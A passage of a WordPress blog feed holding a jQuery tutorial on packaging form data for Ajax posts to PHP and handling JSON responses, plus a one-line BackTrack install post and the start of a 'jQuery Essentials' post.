          &#60;input type=​"checkbox" id=​"vIn10" name=​"committee[]​&#8221;<br />
                    value=​&#8221;Finance&#8221; checked=​&#8221;checked&#8221;&#62;,​<br />
          &#60;input type=​&#8221;checkbox&#8221; id=​&#8221;vIn11&#8243; name=​&#8221;committee[]​&#8221;<br />
                    value=​&#8221;Fundraising&#8221; checked=​&#8221;checked&#8221;&#62;,​<br />
          &#60;input type=​&#8221;checkbox&#8221; id=​&#8221;vIn12&#8243; name=​&#8221;committee[]​&#8221;<br />
                    value=​&#8221;Grants&#8221; checked=​&#8221;checked&#8221;&#62;,​<br />
          &#60;input type=​&#8221;checkbox&#8221; id=​&#8221;vIn13&#8243; name=​&#8221;committee[]​&#8221;<br />
                    value=​&#8221;Literature&#8221; checked=​&#8221;checked&#8221;&#62;,​<br />
     ]</p>
<p>Notice that as I iterate over this jQuery Object <span style="color:#993366;">&#8216;$selInts.each(function(){ &#8230; }&#8217;</span> to create my &#8216;ints&#8217; Object I am assigning the &#8216;value&#8217; attribute to both the name and value of each property. In this way I get rid of the common name &#8216;committee[]&#8216; and give each checked response a unique name. This will be convenient later when saving the User selections to the database table. The resulting object should look something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/volform_intsdata1.jpg"><img class="aligncenter size-medium wp-image-1095" title="VolForm_IntsData1" src="http://sitepop.files.wordpress.com/2012/09/volform_intsdata1.jpg?w=300&#038;h=58" alt="" width="300" height="58" /></a></p>
<p>In the other input variable ($input) we are excluding the &#8216;button&#8217; element, using the <span style="color:#993366;">&#8216;:not(“:button, :checkbox”)&#8217;</span> filter. This may look strange to some of you because a button element is NOT an input element. So why do you need to exclude it? The answer is shown earlier in the selector string. The <span style="color:#993366;">&#8216;:input&#8217;</span> filter is not the same as selecting the &#8216;input&#8217; element. The <span style="color:#993366;">&#8216;:input&#8217;</span> filter is actually defined by jQuery to include all input, textarea, select, and button elements.</p>
<p>I also exclude the checkboxes <span style="color:#993366;">(:checkbox)</span> in the $input variable because I have already collected them in the $selInts variable. We already discussed why I did this in two steps, i.e., I wanted to use a different property naming scheme with the checkboxes than the other input elements.</p>
<p>After the proper elements are selected (our jQuery Objects &#8211; $selInts and $input) we can use the convenient jQuery Object &#8216;each()&#8217; method to iterate over the selected DOM elements and create our simple JavaScript objects. You will notice that within both of the &#8216;each()&#8217; iterations I am using both &#8216;this&#8217; (representing a DOM element) and &#8216;($this)&#8217; (representing a jQuery Object). With &#8216;$(this)&#8217; I can use jQuery methods like val() but with &#8216;this&#8217; I must use JavaScript properties like &#8216;name&#8217; and &#8216;value&#8217;. If I wanted to I could have used the jQuery Object attr() method to accomplish the same thing. There is nothing wrong with mixing jQuery methods with JavaScript functions. Actually in most script you will have to, for things like looping and string manipulation.</p>
<p>You have already seen what the &#8216;ints&#8217; Object looks like (shown above) after the iteration is complete our &#8216;obj&#8217; Object would look something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/volform_objdata1.jpg"><img class="aligncenter size-full wp-image-1096" title="VolForm_ObjData1" src="http://sitepop.files.wordpress.com/2012/09/volform_objdata1.jpg?w=437&#038;h=149" alt="" width="437" height="149" /></a></p>
<p>Note no buttons and no checkboxes. The object property &#8216;saveVolURL&#8217; is a hidden element that I passed to the HTML form from the PHP Controller file. Passing inputs in this way can make your code more flexible. You will see us use this property when we get to the actual Ajax method.</p>
<p>The last thing we need to do, to package our data as a plain JavaScript object is to combine the two objects as one. We do this using the jQuery Object extend() method &#8211; <span style="color:#993366;">&#8216;obj = $.extend({}, obj, ints);&#8217;</span>. The extend() method is used to merge the contents of two or more objects. The first argument in the extend() method is the target, i.e., the object that will contain the merged results. In this case an empty &#8216;{}&#8217; object. The subsequent arguments are the objects you wish to merge with the &#8216;target&#8217;, i.e., obj and ints. <em>The extend() method could have been written a little more concisely as $.extend(obj, ints);. This would have simply added ints to obj!</em> The resulting object should look something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/volform_objdata2.jpg"><img class="aligncenter size-full wp-image-1097" title="VolForm_ObjData2" src="http://sitepop.files.wordpress.com/2012/09/volform_objdata2.jpg?w=440&#038;h=197" alt="" width="440" height="197" /></a></p>
<table width="100%" border="0" cellspacing="0" cellpadding="5" bgcolor="#e6e6e6">
<col width="112" />
<col width="31" />
<col width="113" />
<tbody>
<tr>
<td colspan="3" valign="top" width="100%"><em>Note if we wanted to handle the checked checkboxes as an array (i.e., under a single name) we could change a few lines in the script and do that. That would look something like this:</em> <strong>Change</strong></td>
</tr>
<tr valign="top">
<td bgcolor="#ffcc99" width="44%"> var ints = {};</td>
<td bgcolor="#ffcc99" width="12%">
<div style="text-align:left;"> <strong>to</strong></div>
</td>
<td bgcolor="#ffcc99" width="44%"> var ints = [];</td>
</tr>
<tr valign="top">
<td bgcolor="#ffcc99" width="44%"> ints[this.value] = $(this).val();</td>
<td bgcolor="#ffcc99" width="12%">
<div style="text-align:left;"> <strong>to</strong></div>
</td>
<td bgcolor="#ffcc99" width="44%"> ints.push($(this).val());</td>
</tr>
<tr valign="top">
<td bgcolor="#ffcc99" width="44%"> obj = $.extend({}, obj, ints);</td>
<td bgcolor="#ffcc99" width="12%">
<div style="text-align:left;"> <strong>to</strong></div>
</td>
<td bgcolor="#ffcc99" width="44%"> obj = $.extend({}, obj, {&#8216;committee[]&#8216;,ints});</td>
</tr>
<tr>
<td colspan="3" valign="top" width="100%">As you will see later that is how we do it with the jQuery Object methods. For now all you need to know is that they can all be made consistent if that is your preference.</td>
</tr>
</tbody>
</table>
<p><span style="color:#ffffff;">I</span></p>
<p><strong>II. The second form of data packaging we could use is the Serialize approach:</strong></p>
<address><span style="color:#993366;">          function getVolValues() {</span></address>
<address><span style="color:#993366;">               return $(&#8216;#volForm&#8217;).serialize();</span></address>
<address><span style="color:#993366;">          }</span></address>
<address> </address>
<p>That&#8217;s it, one line of code to do everything we did in the Object Approach.   A lot less code but unfortunately the validation process is more difficult.</p>
<p>Before we get to that difficulty, a quick explanation how this can be done in a single statement. It turns out that only successful controls are serialized to the string. This automatically excludes for us the buttons and the unchecked checkboxes.</p>
<p>The &#8216;input&#8217; checkbox type that are returned are all returned as committee[] and must be iterated over to get the specific members. Not really a problem.</p>
<p>The problem is with validation. The serialize() method produces a standard-looking query string: &#8216;a=1&#38;b=2&#38;c=3&#38;d=4&#38;e=5&#8242;. The actual form submit would create a String something like this:</p>
<p style="padding-left:30px;"><small>“vIn1=Don&#38;vIn2=Howard &#38; vIn4=45+Hobbes+Lane &#38; vIn5=Columbus &#38; vIn6=34 &#38; vIn7=43214 &#38; vIn8=0001 &#38; vIn3=(614)+889-4113 &#38; vIn9=donhoward%40yahoo.com &#38; committee%5B%5D=Finance &#38; committee%5B%5D=Fundraising &#38; committee%5B%5D=Grants &#38; committee%5B%5D=Literature &#38; vIn18=Anytime+after+7%3A00+PM &#38; saveVolURL=JQueryProj%2Fresources%2FajaxPak%2FajaxVolSave.php”</small></p>
<p>The key here is String. I really prefer to deal with objects! We can parse the string but to do that we have to split by &#8216;&#38;&#8217; then by &#8216;=&#8217; then unescape both components of the pairArray created when we split by &#8216;=&#8217; finally on the value component we have to use a regex statement to remove &#8216;+&#8217;s and replace with &#8216; &#8216; spaces.</p>
<p>For those interested this will parse the serialized string into an object that is then easy to validate.</p>
<address><span style="color:#993366;">     var plainObj = {};</span></address>
<address><span style="color:#993366;">     var strArray = <strong>vStr</strong>.split(&#8216;&#38;&#8217;);</span></address>
<address><span style="color:#993366;">     for(var i=0; i&#60;strArray.length; i++) {</span></address>
<address><span style="color:#993366;">          var pairArray = strArray[i].split(&#8216;=&#8217;);</span></address>
<address><span style="color:#993366;">          plainObj[unescape(pairArray[0])]</span></address>
<address><span style="color:#993366;">               = unescape(pairArray[1]).replace(/\+/g, &#8221; &#8220;);</span></address>
<address><span style="color:#993366;">     }</span></address>
<address> </address>
<p>The serialized string passed in as an argument above is <strong><span style="color:#993366;">vStr</span></strong>.</p>
<p>I really don&#8217;t like this kind of solution it looks fragile to me and I never feel I have a big enough test bed of data to thoroughly test. For this reason, this is my <span style="text-decoration:underline;">least </span>favorite approach.</p>
<p><strong>III. The third and final form of data packaging we could use is the SerializeArray approach:</strong></p>
<address><span style="color:#993366;">          function getVolValues() {</span></address>
<address><span style="color:#993366;">               return $(&#8216;#volForm&#8217;).serializeArray();</span></address>
<address><span style="color:#993366;">          }</span></address>
<address> </address>
<p>Just like the serialize approach except instead of a string serializeArray() returns an array in this form:</p>
<p>[{name: "a",value: "1"},{name: "b",value: "2"}]. A JSON data structure, much better. The actual form submit would create a data structure something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/volform_serializearray1.jpg"><img class="aligncenter size-full wp-image-1082" title="VolForm_SerializeArray1" src="http://sitepop.files.wordpress.com/2012/09/volform_serializearray1.jpg?w=430&#038;h=449" alt="" width="430" height="449" /></a></p>
<p>In effect what we get is an array of objects, where each object has two properties – name and value.</p>
<p>This approach has all the advantages of the serialize() method with none of the disadvantages. With this array we can use a standard for loop to iterate over the array &#8211; <span style="color:#993366;">for(var i=0; i&#60;vAry.length; i++) { &#8230; }</span> and access each member&#8217;s name and value pair using vAry[i].name and vAry[i].value respectively for easy validation. Yup, when submitting forms, this is the approach for me.</p>
<p>So using the serializeArray() method an array is returned and assigned to var inObj. A bit of a misnomer. <em>Names should always have meaning, do not do this!</em></p>
<p>That completes the three forms of data packaging for Ajax processing that I think you need to know. Now lets go all the way back to the jQuery script in the ready() event handler. The third statement, <span style="color:#993366;">$(&#8216;input, select, textarea, button&#8217;).attr(&#8216;disabled&#8217;, &#8216;disabled&#8217;)</span>;, disables all DOM elements on the form including the &#8216;button&#8217; elements. I do this so that the User cannot accidentally change any of the form data. <em>Again an indicator of a misuse of jQuery / Ajax, IMHO</em>.  Note that I had to call the getVolValues() method <span style="text-decoration:underline;">before</span> disabling the form because the serializeArray() method does NOT return disabled elements!</p>
<p>The fourth statement calls the <span style="color:#993366;">validateVolForm(inObj)</span> function passing as an argument our inObj (serializeArray). If I were working on a project I would be using the jQuery Validate plug-in so this function would not be required. But in this session we are not using any plug-ins so I have created a simple validation that checks to make sure something (anything) is entered for first and last names, phone and email. All other fields are optional. Errors are collected in an array and passed back to the var &#8216;result&#8217;. The result variable may be either &#8216;true&#8217; or an array. This would look something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/validation_errmsg1.jpg"><img class="aligncenter size-full wp-image-1093" title="Validation_ErrMsg1" src="http://sitepop.files.wordpress.com/2012/09/validation_errmsg1.jpg?w=500&#038;h=390" alt="" width="500" height="390" /></a></p>
<p>Because this is not a validation session, so I will not be covering the details of validation here.</p>
<p>Assuming the validation is successful we proceed to the <span style="color:#993366;">&#8216;saveVolForm(inObj);</span>&#8216; function call. At this point we will be passing the data we have packaged to a PHP file that resides on the server using Ajax. This is why we are here. As I said any of the three packaging options (object, serialize, and serializeArray) will work. With forms my preference is serializeArray() because of less code and its simple access to content (for validation).</p>
<p>Here is the code for the &#8216;saveVolForm() function. The variable highlighted in <span style="color:#3366ff;">blue</span> represents the data going out, that is from the client to the server via Ajax. As we said this could be in any of our three packaging approaches (object, serialize, or serializeArray).  The variable highlighted in <span style="color:#339966;">green</span> represents data coming in, that is from the server back to the client in the form of a response. Because our jQuery Object ajax() method specifies &#8216;dataType&#8217; as JSON the response will be in JSON format (well, it should be).  Note, the argument &#8216;jqXhr&#8217; also has a property &#8216;responseText&#8217; that represents the data coming back from the server.</p>
<address><span style="color:#993366;">     function saveVolForm(<span style="color:#3366ff;">selVals</span>){</span></address>
<address><span style="color:#993366;">          var phpURL = getPassedURL(<span style="color:#3366ff;">selVals</span>);</span></address>
<address><span style="color:#993366;">          $.ajax({</span></address>
<address><span style="color:#993366;">                    url: &#8216;/&#8217;+phpURL,</span></address>
<address><span style="color:#993366;">                    type: &#8216;post&#8217;,</span></address>
<address><span style="color:#993366;">                    data: <span style="color:#3366ff;">selVals</span>,</span></address>
<address><span style="color:#993366;">                    dataType: &#8216;json&#8217;,</span></address>
<address> </address>
<address><span style="color:#993366;">               success: function(<span style="color:#339966;">jsonObj</span>, successCode, jqXhr){</span></address>
<address><span style="color:#993366;">                    if($.isPlainObject(<span style="color:#339966;">jsonObj</span>)){</span></address>
<address><span style="color:#993366;">                         pObj = <span style="color:#339966;">jsonObj</span>;</span></address>
<address><span style="color:#993366;">                    } else {</span></address>
<address><span style="color:#993366;">                         pObj = $.parseJSON(<span style="color:#339966;">jsonObj</span>);</span></address>
<address><span style="color:#993366;">                    }</span></address>
<address><span style="color:#993366;">                    if(pObj.isGood) {</span></address>
<address><span style="color:#993366;">                         anySuccess(pObj);</span></address>
<address><span style="color:#993366;">                    } else {</span></address>
<address><span style="color:#993366;">                         anyFailure(pObj);</span></address>
<address><span style="color:#993366;">                    }</span></address>
<address><span style="color:#993366;">               },</span></address>
<address> </address>
<address><span style="color:#993366;">               error: function(jqXhr, errType, errHttp){</span></address>
<address><span style="color:#993366;">                    anyError(errType, jqXhr);</span></address>
<address><span style="color:#993366;">               }</span></address>
<address><span style="color:#993366;">          });</span></address>
<address> </address>
<p>The first variable &#8216;phpURL&#8217; retrieves the target URL from the <span style="color:#3366ff;">&#8216;selVals&#8217;</span> variable. You saw this value several times <span style="color:#993366;">&#8216;JQueryProj/resources/ajaxPak/ajaxVolSave.php&#8217;</span>.  Again I favor passing the URL from the PHP Controller to the HTML document and then to the jQuery script rather than hard coding the URL in the jQuery script.</p>
<p>Though the API specification shows the ajax() method with a URL argument followed by an optional [settings] argument, most of the examples you see will include the &#8216;url:&#8217; in the setting argument and totally ignore the URL argument, that according to the API is not optional. I&#8217;m not sure why that works that way, perhaps a syntax I am not familiar with. Regardless it works both ways. If you prefer to follow the published API you would write the above method as follows:</p>
<address><span style="color:#993366;">          $.ajax(&#8216;/&#8217;+phpURL, {</span></address>
<address><span style="color:#993366;">                         type: &#8216;post&#8217;,</span></address>
<address><span style="color:#993366;">                         data: selVals,</span></address>
<address><span style="color:#993366;">                         dataType: &#8216;json&#8217;,</span></address>
<address><span style="color:#993366;">                              &#8230;</span></address>
<address> </address>
<p>Note that <span style="color:#993366;">success:</span> and <span style="color:#993366;">error:</span> are a part of the settings option that I have not bothered to include here. They remain unchanged.</p>
<p>The &#8216;type&#8217; property can actually assume many values but for the most part you will only need to worry about &#8216;Get&#8217; and &#8216;Post&#8217;. Get is the default. If you select &#8216;Post&#8217; you should be aware that post data will <span style="text-decoration:underline;">always</span> be transmitted to the server using UTF-8 charset. I prefer &#8216;Post&#8217; but with &#8216;xhr&#8217; (XMLHttpRequest) you don&#8217;t really need to worry about the visibility issue we have with &#8216;Get&#8217; and an HTML request. Feel free to use either. If you chose to use &#8216;Put&#8217; or &#8216;Delete&#8217; note that they are <span style="text-decoration:underline;">not</span> supported by all browsers.</p>
<p>The &#8216;data&#8217; property we have already spent a lot of time on. Rightfully so, packaging the data is very important and an area where many if not most of the errors occur. The data option can contain either a query string (serialize) or a map (object or serializeArray). If the data is not already a query string, it will automatically be converted to one.</p>
<p>Here are the data after transmission to the server as seen in Firebug.</p>
<p>packaged as Object -</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/ajax_objectdatafb1.jpg"><img class="aligncenter size-full wp-image-1084" title="Ajax_ObjectDataFB1" src="http://sitepop.files.wordpress.com/2012/09/ajax_objectdatafb1.jpg?w=500&#038;h=238" alt="" width="500" height="238" /></a></p>
<p>packaged as Serialize or SerializeArray -</p>
<p><a href="http://sitepop.files.wordpress.com/2012/09/ajax_serializearraydatafb1.jpg"><img class="aligncenter size-full wp-image-1086" title="Ajax_SerializeArrayDataFB1" src="http://sitepop.files.wordpress.com/2012/09/ajax_serializearraydatafb1.jpg?w=500&#038;h=244" alt="" width="500" height="244" /></a></p>
<p>As you can see the &#8216;source&#8217; data is the same for all of the packaging approaches after the ajax() method converts them to a query string. There is one difference but we already discussed how with the object approach we chose to use a selected checkbox&#8217;s value as both the properties name and value. <em>Note, as we demonstrated above, if you want consistency you can have that as well.</em></p>
<p>The &#8216;dataType&#8217; property is the data type that you are expecting back from the server. Most of the time you should know this. If you don&#8217;t provide a dataType, jQuery will try to figure it out using the MIME type returned by the browser. When I know what to expect I always define a &#8216;dataType&#8217; and so should you. <em>As you will see in a moment there are some problems even when you are explicit regarding &#8216;dataType&#8217;.</em></p>
<p>On last count there were thirty-three optional settings but these are the three I believe you have to know. If you&#8217;re interested, review them all at <a title="Ajax" href="http://api.jquery.com/jQuery.ajax" target="_blank">http://api.jquery.com/jQuery.ajax</a>/, so that if you need them you will know they are available.</p>
<p>In PHP or some other server-side language, you will have to capture the data and translate it into a usable form. I use PHP most of the time and prefer to move the results into a simple custom object which is then easy to pass to MySQL for the updating of tables. Instantiating that object with Ajax parameters would look something like this:</p>
<address><span style="color:#008080;">     $state = StateAbbr::toName($_POST['vIn6']);</span></address>
<address><span style="color:#008080;">     $volObj = new Volunteer($_POST(&#8216;vIn1&#8242;),$_POST(&#8216;vIn2&#8242;),</span></address>
<address><span style="color:#008080;">               $_POST(&#8216;vIn3&#8242;),$_POST(&#8216;vIn4&#8242;),$_POST(&#8216;vIn5&#8242;),</span></address>
<address><span style="color:#008080;">               $state, $_POST(&#8216;vIn7&#8242;),$_POST(&#8216;vIn8&#8242;),</span></address>
<address><span style="color:#008080;">               $_POST(&#8216;vIn9&#8242;),$_POST(&#8216;vIn18&#8242;),$_POST(&#8216;committee&#8217;));</span></address>
<address> </address>
<p><em>Note that in this example we are using the &#8216;serializeArray&#8217; data which includes the &#8216;committee&#8217; array. You will have to iterate over this object to get the specific selections made by the User. Also you do not include the square brackets&#8217;[]&#8216; in the variable name</em>!</p>
<p>The settings include two callbacks one from a successful Ajax transaction and one for an error Ajax transaction. Note that a successful Ajax transaction may still result in a failure due to any number of errors such as SQL. We must be prepared to handle these errors when they occur. You can see in the &#8216;success&#8217; callback that I rely on the argument <span style="color:#339966;">&#8216;jsonObj&#8217;</span> for error handling. The <span style="color:#339966;">jsonObj</span> is the response returned by the Ajax transaction. The other two arguments – successCode and &#8216;jqXhr&#8217; are also provided but are not used here. I could have removed them but I wanted you to know they were available.</p>
<p>To facilitate the success / error reporting as represented by the <span style="color:#339966;">jsonObj</span> I again use a simple custom PHP object. To do this I create a Class called Outcome with the following properties:</p>
<address><span style="color:#008080;">     class Outcome {</span></address>
<address><span style="color:#008080;">          private $isGood, $genMsg, $errMsg, $code, $file, $line;</span></address>
<address><span style="color:#008080;">               &#8230; code &#8230;</span></address>
<address><span style="color:#008080;">     }</span></address>
<address> </address>
<p>Which I initialize as a success and modify in case of an error.</p>
<p>Now some bad news. Though we have explicitly requested the data type returned from the server be JSON, depending on the argument this may not be the case. The first argument in the &#8216;success&#8217; callback is the &#8216;returned data&#8217;. Now you would expect this to be encoded as JSON but this is not always the case, for more detail see my <a title="jQuery Essentials" href="http://sitepop.wordpress.com/2012/07/31/jquery-essentials/" target="_blank">jQuery Essentials Session</a>. Because of this we need to insert a little condition statement before we attempt using the $.parseJSON() method.</p>
<address><span style="color:#008080;">          <span style="color:#993366;">if($.isPlainObject(<span style="color:#339966;">jsonObj</span>)){</span></span></address>
<address><span style="color:#993366;">               pObj = <span style="color:#339966;">jsonObj</span>;</span></address>
<address><span style="color:#993366;">          } else {</span></address>
<address><span style="color:#993366;">               pObj = $.parseJSON(<span style="color:#339966;">jsonObj</span>);</span></address>
<address><span style="color:#993366;">          }</span></address>
<address> </address>
<p>Ultimately we want to convert the returned data into a plain JavaScript object for ease of use. However if the returned data is already a plain JavaScript object and you try to use the $.parseJSON() method you will receive an error. The code above will keep that from happening and provide us with a plain object we can use. Once we have our plain object we just need to decide which branch to take.</p>
<address><span style="color:#008080;">          <span style="color:#993366;">if(pObj.isGood) {</span></span></address>
<address><span style="color:#993366;">               anySuccess(pObj);</span></address>
<address><span style="color:#993366;">          } else {</span></address>
<address><span style="color:#993366;">               anyFailure(pObj);</span></address>
<address><span style="color:#993366;">          }</span></address>
<address> </address>
<p>The pObj (converted <span style="color:#339966;">jsonObj</span>) provides me with all of the information I will need to handle both a success or a failure other than an Ajax transaction error, which will be captured in the &#8216;error&#8217; callback. In this simple example I catch any Exceptions and generate a message, if no exceptions are thrown I generate a success message. This type of response is generally SUCCESS or FAILURE notifications that are flashed to the User before returning them to a general menu page. Unlike a validation error there is generally little that can be done to correct the error should one occur at this time.</p>
<p>In the case of a data exception, this capture process would look something like this:</p>
<address><span style="color:#008080;">     public function addVolTran(Volunteer $vol, Outcome <span style="color:#800000;">$out</span>){</span></address>
<address><span style="color:#008080;">          try {</span></address>
<address><span style="color:#008080;">               $dbh = $this-&#62;create_phpdb_DBH();</span></address>
<address><span style="color:#008080;">               $dbh-&#62;beginTransaction();</span></address>
<address><span style="color:#008080;">               $this-&#62;insertToVolunteer($dbh,$vol);</span></address>
<address><span style="color:#008080;">               $uID = $dbh-&#62;lastInsertId();</span></address>
<address><span style="color:#008080;">               $this-&#62;insertToCommittee($dbh,$vol,$uID);</span></address>
<address><span style="color:#008080;">               $dbh-&#62;commit();</span></address>
<address><span style="color:#008080;">               $dbh = null;</span></address>
<address><span style="color:#008080;">          } catch(Exception $e) {</span></address>
<address><span style="color:#008080;">               $dbh-&#62;rollBack();</span></address>
<address><span style="color:#008080;">               if($dbh) $dbh=null;</span></address>
<address><span style="color:#008080;">               <span style="color:#800000;">$out</span>-&#62;set_isGood(false);</span></address>
<address><span style="color:#008080;">               <span style="color:#800000;">$out</span>-&#62;set_errMsg($e-&#62;getMessage());</span></address>
<address><span style="color:#008080;">               <span style="color:#800000;">$out</span>-&#62;set_code($e-&#62;getCode());</span></address>
<address><span style="color:#008080;">               <span style="color:#800000;">$out</span>-&#62;set_genMsg(&#8216;AN ERROR OCCURRED: &#8216;);</span></address>
<address><span style="color:#008080;">               <span style="color:#800000;">$out</span>-&#62;set_file($e-&#62;getFile());</span></address>
<address><span style="color:#008080;">               <span style="color:#800000;">$out</span>-&#62;set_line($e-&#62;getLine());</span></address>
<address><span style="color:#008080;">          }</span></address>
<address><span style="color:#008080;">     }</span></address>
<address> </address>
<p>If a standard MySQL transaction should fail I catch the error in a try / catch block and using our simple PHP Class called &#8216;Outcome&#8217;, I set it&#8217;s properties to then send it back to our jQuery script as a JSON object. To create the JSON object I used a method of the &#8216;Outcome&#8217; Class to capture and encode all of the appropriate properties. That would look something like this:</p>
<address><span style="color:#008080;">     public function encodeJSONObj(){</span></address>
<address><span style="color:#008080;">          return json_encode(get_object_vars($this));</span></address>
<address><span style="color:#008080;">     }</span></address>
<address> </address>
<p>Not much to it. For a complete explanation see my <a title="jQuery Essentials" href="http://sitepop.wordpress.com/2012/07/31/jquery-essentials/" target="_blank">&#8216;jQuery Essentials Session&#8217;</a>.</p>
<p>We then end our PHP procedure by sending the JSON object back to the jQuery script as follows:</p>
<p style="text-align:center;"><strong><span style="color:#008080;">echo $out-&#62;encodeJSONObj();</span></strong></p>
<p>Intentionally misspelling the name of one of the MySQL tables we wish to Insert the volunteer information into will result in an &#8216;Outcome&#8217; object, after encoding, that looks something like this:</p>
<address>{&#8220;<strong>isGood</strong>&#8220;:false,&#8221;<strong>genMsg</strong>&#8220;:&#8221;AN ERROR OCCURRED: &#8220;,&#8221;<strong>errMsg</strong>&#8220;:&#8221;SQLSTATE[42S02]:</address>
<address>Base table or view not found: 1146 Table &#8216;phpdb.volteer&#8217; doesn&#8217;t exist&#8221;,&#8221;<strong>code</strong>&#8220;:&#8221;42S02&#8243;,&#8221;<strong>file</strong>&#8220;:&#8221;C:\\JQueryProj\\resources\\dataPak\\VolDAO.php&#8221;,</address>
<address>&#8220;<strong>line</strong>&#8220;:73}</address>
<address> </address>
<p>We then feed it back to the User as a failure message. Don&#8217;t forget to log the error as well. If your not sure now, see my <a title="jQuery Error Handling" href="http://sitepop.wordpress.com/2012/08/04/jquery-error-handling/" target="_blank">&#8216;jQuery Error Handling Session&#8217;</a>.</p>
<p>Now an Ajax error is a bit different. There are two general sources of Ajax errors, one is a server error and the second is a data error. As a reminder the callback for our &#8216;error&#8217; setting looks like this:</p>
<address><span style="color:#993366;">          error: function(jqXhr, errType, errHttp){</span></address>
<address><span style="color:#993366;">               anyError(errType, jqXhr);</span></address>
<address><span style="color:#993366;">          }</span></address>
<address> </address>
<p>The three arguments provided by the callback are &#8216;jqXhr&#8217; (superset XMLHttpRequest) object, &#8216;errType&#8217; a string which describes the type of error, and &#8216;errHttp&#8217; an optional exception string. We are only using the first two in this example. Because we are not using the third we could just eliminate it from the anonymous function like this – <span style="color:#993366;">function(xhr, errType){ &#8230; }</span>.</p>
<p>The first argument is &#8216;jqXhr&#8217; which is a superset of the browser&#8217;s &#8216;xhr&#8217; native XMLHttpRequest object. I did a little routine to take a look at the properties and methods of the &#8216;jqXhr&#8217; object. Of the twenty-one properties and methods listed I have only used these three methods (success(), error(), and complete()) and the two properties (responseText and statusText) in an error context. Possible values for the second argument (errType) are null, timeout, error, abort, and parseerror. The third argument applies when an HTTP error occurs. In which case this argument represents the HTTP text status, i.e., &#8216;Not Found&#8217;.</p>
<p>In all cases when the &#8216;error&#8217; event handler fires you are processing a failure. Again, like in an SQL failure, you have little opportunity to correct for this type of error at time of occurrence. In some cases like &#8216;timeout&#8217; the resource might be temporarily overburdened and the User could try again later and get through but that is pretty much how we hope to handle any error. That is <em><strong>&#8216;We have experienced a problem, it has been noted and will be addressed. Please try again later</strong></em>.&#8217; Of course you have to log all such errors and actually review the error logs daily to catch and correct them.</p>
<p>Keep in mind this was a simple application of Ajax, but simple is what you will be doing 90% of the time.  That&#8217;s all there is to it.</p>
<p>Enjoy.</p>
<p>Don</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[waiting room is a building, or more commonly a part of a building where people sit or stand until the event they are waiting for occurs. ]]></title>
<link>http://myexploit.wordpress.com/2012/08/15/waiting-room-is-a-building-or-more-commonly-a-part-of-a-building-where-people-sit-or-stand-until-the-event-they-are-waiting-for-occurs/</link>
<pubDate>Wed, 15 Aug 2012 11:05:57 +0000</pubDate>
<dc:creator>myexploit</dc:creator>
<guid>http://myexploit.wordpress.com/2012/08/15/waiting-room-is-a-building-or-more-commonly-a-part-of-a-building-where-people-sit-or-stand-until-the-event-they-are-waiting-for-occurs/</guid>
<description><![CDATA[Installing system &#8211; Copying files 45% &lt; &lt; back | track 5r3 Come on!!!!]]></description>
<content:encoded><![CDATA[<p>Installing system &#8211; Copying files 45% &#60; &#60; back &#124; track 5r3 </p>
<p>Come on!!!!</p>
]]></content:encoded>
</item>
<item>
<title><![CDATA[jQuery Essentials]]></title>
<link>http://sitepop.wordpress.com/2012/07/31/jquery-essentials/</link>
<pubDate>Tue, 31 Jul 2012 19:36:09 +0000</pubDate>
<dc:creator>Donald Howard</dc:creator>
<guid>http://sitepop.wordpress.com/2012/07/31/jquery-essentials/</guid>
<description><![CDATA[A jQuery Essentials A Client-side JavaScript is a fantastic way to add pop to your site. Done correc]]></description>
<content:encoded><![CDATA[<h2><span style="color:#ffffff;">A<a href="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg"><img class="alignright size-medium wp-image-372" title="SitePOP_Legend" alt="" src="http://sitepop.files.wordpress.com/2012/02/sitepop_legend.jpg?w=300&#038;h=150" width="300" height="150" /></a></span></h2>
<h2>jQuery Essentials</h2>
<h2><span style="color:#ffffff;">A</span></h2>
<p>Client-side JavaScript is a fantastic way to add pop to your site. Done correctly it can also make your site more user friendly. Having said that I would NOT recommend &#8216;raw&#8217; JavaScript to the <strong>Occasional</strong> user. Unless you use it daily there is just too much old and new information on the Internet to filter and master.</p>
<p>Fortunately there are several alternatives whether it be jQuery, mooTools, or some other library. These libraries are not only simplified they have the benefit of many eyeballs. Meaning they have an active community of users to identify and fix errors so that the basic functionality is sound and <span style="text-decoration:underline;"><span style="color:#000000;text-decoration:underline;">generally</span></span> cross browser ready. That does not mean ALL browser differences are resolved and until the vendor standard implementation process changes they will continue to be our nightmare. These differences can be very difficult to work-around, fortunately many are the target of plug-ins that tackle the issue for you and me. We won&#8217;t actually be dealing with plug-ins in this session but we will in the near future.</p>
<p>Because the jQuery library is built atop JavaScript it is important to have a basic understanding of JavaScript. I&#8217;m going to leave the general JavaScript to you. If you have never used JavaScript I would recommend that you at least read through Rebecca Murphey&#8217;s jQuery Fundamentals&#8217; Chapter One before continuing.</p>
<p>In this session we are going to be laying out my essentials to jQuery. Again this is targeting the <strong>Occasional</strong> user, relax your amateur status is secure. There is no way this will make you an expert.</p>
<p>To work with jQuery you will need to download the jQuery libraries you wish to work with and install them in your PHP project. For all things jQuery, you will go to <a href="http://jquery.com/" rel="nofollow">http://jquery.com/</a>, bookmark it for easy accessibility. To begin download the &#8216;main&#8217; jQuery library from the jQuery home by clicking the &#8216;Download&#8217; option on the main menu. You should see a page something like this:</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/jquerydownloadpage.jpg"><img class="aligncenter size-full wp-image-998" title="JQueryDownloadPage" alt="" src="http://sitepop.files.wordpress.com/2012/08/jquerydownloadpage.jpg?w=500&#038;h=301" width="500" height="301" /></a></p>
<p>Clicking on the current release link will take you down to an anchor on the page where the current release can be downloaded. As of the writing of this session the current release is 1.7.2. If there is a more recent release available you should download it.</p>
<p>It is important to me that you download the &#8216;uncompressed&#8217; version of the current release.</p>
<p><a href="http://sitepop.files.wordpress.com/2012/08/jquerydownloadpagecurrentrelease.jpg"><img class="aligncenter size-full wp-image-989" title="JQueryDownloadPageCurrentRelease" alt="" src="http://sitepop.files.wordpress.com/2012/08/jquerydownloadpagecurrentrelease.jpg?w=217&#038;h=102" width="217" height="102" /></a></p>
